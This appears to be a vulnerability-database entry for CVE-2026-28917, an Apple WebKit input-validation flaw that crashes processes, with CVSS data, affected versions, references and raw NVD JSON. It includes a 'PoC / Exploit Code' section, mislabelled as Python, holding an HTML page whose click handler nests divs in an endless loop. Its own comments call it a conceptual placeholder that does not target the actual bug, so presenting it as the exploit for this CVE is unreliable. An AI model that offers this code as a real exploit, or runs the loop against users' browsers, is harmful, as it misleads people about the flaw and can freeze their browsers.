CVE-2026-28917

Description

The issue was addressed with improved input validation. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE

Safari < 26.5

iOS < 18.7.9

iPadOS < 18.7.9

iOS < 26.5

iPadOS < 26.5

macOS Tahoe < 26.5

tvOS < 26.5

visionOS < 26.5

watchOS < 26.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-28917 (Conceptual)
  Description: This HTML page attempts to trigger a crash via recursive DOM manipulation or resource strain.
  Note: Specific trigger vector depends on the exact patch details of Safari 26.5.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-28917 PoC</title>
</head>
<body>
    <script>
        // Attempt to trigger instability in the rendering engine
        function triggerCrash() {
            try {
                // Simulate malicious web content processing
                // This is a generic DoS pattern placeholder
                let target = document.body;
                while (true) {
                    let div = document.createElement('div');
                    div.innerHTML = "<!-- Malicious Content -->";
                    target.appendChild(div);
                    target = div;
                    // In a real scenario, specific API calls or malformed syntax would be used
                }
            } catch (e) {
                console.log("PoC Execution attempt finished");
            }
        }
        
        // Auto-trigger on load (requires user interaction in modern browsers)
        window.onload = function() {
            alert("To test this PoC, please interact with the page.");
            document.body.addEventListener('click', triggerCrash);
        };
    </script>
    <h1>CVE-2026-28917 Test Page</h1>
    <p>Click anywhere to attempt to trigger the vulnerability.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-28917
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-28917
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-28917/
[4] VulDB https://vuldb.com/cve/CVE-2026-28917
[5] https://support.apple.com/en-us/127110
[6] https://support.apple.com/en-us/127111
[7] https://support.apple.com/en-us/127115
[8] https://support.apple.com/en-us/127118
[9] https://support.apple.com/en-us/127119
[10] https://support.apple.com/en-us/127120
[11] https://support.apple.com/en-us/127121

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-28917", "sourceIdentifier": "[email protected]", "published": "2026-05-11T21:18:54.110", "lastModified": "2026-05-13T21:16:43.220", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The issue was addressed with improved input validation. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.9", "matchCriteriaId": "F3968B76-E6DE-416D-A0FB-E4833FFAAE0F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.5", "matchCriteriaId": "20644D7E-2AB6-48CA-AED4-C474A9867986"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.9", "matchCriteriaId": "B6431EAF-B395-4C19-9AB6-A2F45991C897"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.5", "matchCriteriaId": "1BE54A3B-D667-43BA-AB71-BCF8438054E0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.5", "matchCriteriaId": "6CB91417-90A8-4A9B-A1D0-1D94B80EF837"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "176C47FD-FA25-437B-9061-A81CAA367AEF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "C8F45D80-0DF8-444E-9AF1-703A1075F046"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "057B244F-5485-4108-8E23-FE15F5256EE7"}]}]}], "references": [{"url": "https://support.apple.com/en-us/127110", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127111", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127115", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127118", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127119", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127120", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127121", "source": "[email protected]"}]}}